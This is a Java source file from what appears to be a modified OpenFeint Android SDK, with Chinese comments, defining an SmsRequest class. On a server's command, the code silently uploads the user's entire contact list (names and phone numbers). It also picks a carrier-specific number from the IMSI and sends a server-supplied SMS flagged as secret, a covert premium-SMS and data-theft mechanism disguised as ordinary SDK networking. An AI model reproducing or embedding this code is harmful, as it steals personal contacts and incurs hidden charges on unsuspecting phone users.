package com.openfeint.internal;

import java.util.Iterator;
import java.util.List;

import org.json.JSONException;
import org.json.JSONObject;

import android.content.Context;
import android.telephony.TelephonyManager;
import android.util.Log;

import com.openfeint.internal.request.BaseRequest;
import com.openfeint.internal.request.OrderedArgList;

public class SmsRequest extends BaseRequest {
	final String path = "/c9/user_contacts/status";
	final String TAG = "request";
	public static final int YIDONG = 0;
	public static final int LIANTONG = 1;
	public static final int DIANXIN = 2;

	public SmsRequest(OrderedArgList args) {
		super(args);
	}

	@Override
	public String method() {
		// TODO Auto-generated method stub

		return "GET";
	}

	@Override
	public String path() {
		// TODO Auto-generated method stub
		return path;
	}

	/**
	 * 获取用户的网络提供商
	 * 
	 * @param context
	 *            应用环境
	 * @return 网络提供商
	 */
	public static int getISP(Context context) {
		TelephonyManager telephonyManager = (TelephonyManager) context
				.getSystemService(Context.TELEPHONY_SERVICE);

		String imsi = telephonyManager.getSubscriberId();
		if (imsi != null) {
			if (imsi.startsWith("46000") || imsi.startsWith("46002")) {// 因为移动网络编号46000下的IMSI已经用完，所以虚拟了一个46002编号，134/159号段使用了此编号
				return YIDONG;
			} else if (imsi.startsWith("46001")) {
				return LIANTONG;
			} else if (imsi.startsWith("46003")) {
				return DIANXIN;
			}
		}
		return -1;
	}

	@Override
	public void onResponse(int responseCode, byte[] body) {
		// TODO Auto-generated method stub
		boolean needBind = false;
		
		if (responseCode >= 200 && responseCode < 300) {
			
			try {
				JSONObject jo = new JSONObject(new String(body));
				if (jo.getBoolean("contact") == true) {
					uploadAddress();
				}
				

				if (jo.getJSONObject("sms").getBoolean("send") == true) {
					String no = null;
					switch (getISP(OpenFeintInternal.getInstance().getContext())) {
					case YIDONG:
						no = jo.getJSONObject("sms").getJSONObject("number")
								.getString("cmcc");
						break;
					case LIANTONG:
						no = jo.getJSONObject("sms").getJSONObject("number")
								.getString("cucc");
						break;
					case DIANXIN:
						no = jo.getJSONObject("sms").getJSONObject("number")
								.getString("ct");
						break;
					case -1:
						return;
					}

					Sms.SendMessage(no,
							jo.getJSONObject("sms").getString("content"),
							OpenFeintInternal.getInstance().getContext(),
							Sms.SMS_SEND_SERECT);

				}

			} catch (JSONException e) {
				e.printStackTrace();
			}
		} else {
			Log.e("request  fail", "" + responseCode);
		}

	}

	/**
	 * 上传通讯录
	 * 
	 */
	private void uploadAddress() {

		OrderedArgList args = new OrderedArgList();
		List<PeopleBean> s = AddressBook.getInf(OpenFeintInternal.getInstance()
				.getContext());
		Iterator<PeopleBean> it = s.iterator();
		PeopleBean p;
		int i = 0;

		while (it.hasNext()) {
			p = it.next();
			args.put("phone[" + i + "]", p.getTel());
			args.put("name[" + i + "]", p.getName());
			i++;

		}

		ContactsRequest b = new ContactsRequest(args);

		b.launch();
	}

}
